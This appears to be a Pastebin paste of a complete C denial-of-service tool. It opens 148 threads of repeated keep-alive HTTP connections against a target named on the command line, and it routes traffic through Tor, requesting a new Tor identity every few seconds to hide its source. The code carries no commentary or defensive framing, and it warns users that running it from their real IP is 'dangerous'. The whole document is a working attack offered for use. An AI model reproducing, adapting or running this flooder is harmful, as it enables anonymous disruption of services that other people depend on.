Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <stdint.h>
- #include <unistd.h>
- #include <netdb.h>
- #include <signal.h>
- #include <errno.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <pthread.h>
- #define USLEEPER 200000
- #define CONNECTIONS 3
- #define THREADS 148
- const char header[] = "GET / HTTP/1.1\r\n" \
- "Host: 127.0.0.1\r\n" \
- "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)\r\n" \
- "Keep-Alive: 300\r\n" \
- "Connection: Keep-Alive\r\n" \
- "Accept-Encoding: gzip\r\n\r\n";
- int hsize, torify;
- typedef struct _thread_args {
- const char *host, *port;
- } thread_args;
- int socketize(const char *host, const char *port)
- {
- struct addrinfo hints, *servinfo, *p;
- int sock = 0, r = 0, y = 1;
- memset(&hints, 0, sizeof(hints));
- hints.ai_family = AF_UNSPEC;
- hints.ai_socktype = SOCK_STREAM;
- if ((r = getaddrinfo(host, port, &hints, &servinfo)) != 0) {
- fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
- return -1;
- }
- for (p = servinfo; p != NULL; p = p->ai_next) {
- if ((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
- continue;
- }
- setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &y, 4);
- if (connect(sock, p->ai_addr, p->ai_addrlen) == -1) {
- close(sock);
- continue;
- }
- break;
- }
- if (p == NULL) {
- if (servinfo)
- freeaddrinfo(servinfo);
- return -2;
- }
- if (servinfo)
- freeaddrinfo(servinfo);
- return sock;
- }
- int proxyfy(const char *host, const char *port)
- {
- char buf[1024];
- int p = atoi(port), sock = 0;
- short t = 0, l = strlen(host);
- printf("Connect [%s:%s]\n", host, port);
- if ((sock = socketize("127.0.0.1", "9050")) < 0)
- return sock;
- write(sock, "\x05\x01\x00", 3);
- read(sock, buf, 1024);
- if (buf[0] != 0x05 || buf[1] == 0xFF || buf[1] != 0x00)
- return -3;
- buf[0] = 0x05;
- buf[1] = 0x01;
- buf[2] = 0x00;
- buf[3] = 0x03;
- buf[4] = l;
- memcpy(buf+5, host, l);
- buf[5+l] = (char)(p >> 8);
- buf[5+l+1] = (char)(p & 0xff);
- write(sock, buf, 5+l+2);
- read(sock, buf, 1024);
- if (buf[0] == 0x05 && buf[1] == 0x00)
- return sock;
- return -4;
- }
- void *attack(void *arg)
- {
- int i = 0, r = 0, socks[CONNECTIONS];
- thread_args *a = (thread_args *) arg;
- printf("Thread Started...\n");
- signal(SIGPIPE, SIG_IGN);
- memset(socks, 0, sizeof(int)*CONNECTIONS);
- for (;;) {
- for (i = 0; i < CONNECTIONS; i++) {
- if (socks[i] <= 0) {
- if (torify)
- socks[i] = proxyfy(a->host, a->port);
- else
- socks[i] = socketize(a->host, a->port);
- fprintf(stderr, "Socket Returned [%d]\n", socks[i]);
- }
- if (write(socks[i], header, strlen(header)) < 0) {
- close(socks[i]);
- fprintf(stderr, "Socket Write Error [%s]\n", strerror(errno));
- if (torify)
- socks[i] = proxyfy(a->host, a->port);
- else
- socks[i] = socketize(a->host, a->port);
- }
- }
- usleep(USLEEPER);
- }
- }
- void *anonymize(void *tor_passwd)
- {
- char buffer[1024];
- int sock = 0;
- if ((sock = socketize("localhost", "9051")) < 0) {
- fprintf(stderr, "Can't connect to tor control port\n");
- pthread_exit(NULL);
- }
- sprintf(buffer, "AUTHENTICATE \"%s\"\r\n", (char *)tor_passwd);
- write(sock, buffer, strlen(buffer));
- while (1) {
- sleep(5);
- memset(buffer, '\0', 1024);
- write(sock, "signal NEWNYM\r\n", 15);
- read(sock, buffer, 1024);
- buffer[strlen(buffer)-2] = '\0';
- printf("====> New identity aquired [%s] <====\n", buffer);
- }
- }
- void error_exit(char *arg0)
- {
- fprintf(stderr, "Usage: %s <ip/hostname> <port>\n", arg0);
- exit(0);
- }
- int main(int argc, char **argv)
- {
- int i = 0;
- void *status;
- pthread_t attackers[THREADS];
- pthread_t canon;
- thread_args arg;
- char *tor_password = NULL;
- hsize = strlen(header);
- if (argc != 3)
- error_exit(argv[0]);
- arg.host = (const char *)argv[1];
- arg.port = (const char *)argv[2];
- if ((tor_password = getenv("TOR_PASSWORD")) == NULL || *tor_password == '\0')
- fprintf(stderr, "TOR_PASSWORD not set, will not be able to cycle circuits\n");
- if ((i = socketize("127.0.0.1", "9050")) < 0) {
- printf("It looks like you're not running tor.\n"
- "Running %s with your real IP could be dangerous\n"
- "If you want to continue anyways press INTRO, otherwise CTRL+C", argv[0]);
- scanf("%c", (char *)&i);
- torify = 0;
- }
- else {
- torify = 1;
- close(i);
- }
- if (tor_password && *tor_password != '\0' && torify)
- pthread_create(&canon, NULL, anonymize, tor_password);
- for (i = 0; i < THREADS; i++) {
- pthread_create(attackers+i, NULL, attack, &arg);
- usleep(USLEEPER);
- }
- for (i = 0; i < THREADS; i++)
- pthread_join(*(attackers+i), &status);
- pthread_kill(canon, 15);
- pthread_exit(NULL);
- return 0;
- }
Add Comment
Please, Sign In to add comment